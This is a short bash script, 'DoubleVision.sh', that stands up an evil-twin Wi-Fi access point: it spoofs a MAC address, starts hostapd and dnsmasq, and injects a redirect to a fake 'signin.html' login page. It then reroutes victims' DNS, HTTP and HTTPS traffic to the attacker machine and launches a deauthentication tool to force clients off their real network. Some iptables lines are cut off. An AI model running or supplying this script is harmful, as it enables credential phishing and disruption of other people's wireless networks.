DoubleVision.sh 949 B

12345678910111213141516171819202122232425262728293031
  1. #!/bin/bash
  2. service apache2 start
  3. sleep 1
  4. ifconfig wlan2 down
  5. macchanger -A wlan2
  6. sleep 1
  7. ifconfig wlan2 up
  8. sleep 1
  9. hostapd -B /etc/hostapd/hostapd.conf
  10. sleep 2
  11. ifconfig br0 up
  12. sleep 2
  13. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  14. sysctl net.ipv4.ip_forward=1
  15. echo "<meta http-equiv="refresh" content=2;URL='http://10.1.1.1/signin.html'>">> /var/www/html/index.html
  16. iptables --flush
  17. iptables -t nat --flush
  18. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination >
  19. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination >
  20. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination>
  21. iptables -t nat -A POSTROUTING -j MASQUERADE
  22. sleep 2
  23. service dnsmasq start
  24. sleep 4
  25. echo "AP Should Be Up. Time To Deauth"
  26. sleep 2
  27. echo "Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"
  28. tmux new -s deauth 'cd PwrDeauther && bash PwrDeauther.sh'